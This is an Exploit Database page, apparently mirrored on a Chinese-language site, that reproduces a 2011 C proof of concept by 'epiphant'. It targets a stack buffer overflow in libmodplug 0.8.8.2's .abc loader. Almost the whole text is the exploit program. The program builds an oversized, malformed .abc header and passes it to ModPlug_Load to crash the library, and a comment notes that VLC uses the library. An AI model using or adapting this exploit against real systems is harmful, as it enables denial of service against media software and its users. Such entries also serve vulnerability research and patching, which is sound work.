Libmodplug 0.8.8.2 – ‘.abc’ Stack Buffer Overflow (PoC)

• Exploit Database
• 12 阅读

• 作者： epiphant
  日期： 2011-04-28
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/17222/

• #include <libmodplug/modplug.h>
  #include <stdio.h>
  #include <string.h>
  
  /*
  libmodplug <= 0.8.8.2 .abc stack-based buffer overflow poc
  
  http://modplug-xmms.sourceforge.net/
  
  by: epiphant
  
  this exploits one of many overflows in load_abc.cpp lol
  
  vlc media player uses libmodplug
  
  greets: defrost, babi, ming_wisher, emel1a, a.v., krs
  
  date: 28 april 2011
  
  tested on: centos 5.6
  */
  
  int main(void)
  {
  char test[512] = "X: 1\nU: ";
  unsigned int i;
  
  i = strlen(test);
  while (i < 278)
  test[i++] = 'Q';
  test[i++] = '1' + 32;
  test[i++] = '3';
  test[i++] = '3';
  test[i++] = '4';
  while (i < 286)
  test[i++] = 'A';
  test[i++] = '\n';
  test[i] = '\0';
  
  strcat(test, "T: Here Without You (Transcribed by: Bungee)\n");
  strcat(test, "Z: 3 Doors Down\n");
  strcat(test, "L: 1/4\n");
  strcat(test, "Q: 108\n");
  strcat(test, "K: C\n\n");
  strcat(test, "[A,3A3/4] [E9/8z3/8] A3/8 [c9/8z3/8] [A9/8z3/8] [E3/4z3/8]\n");
  
  i = strlen(test);
  ModPlug_Load(test, i);
  
  return 0;
  }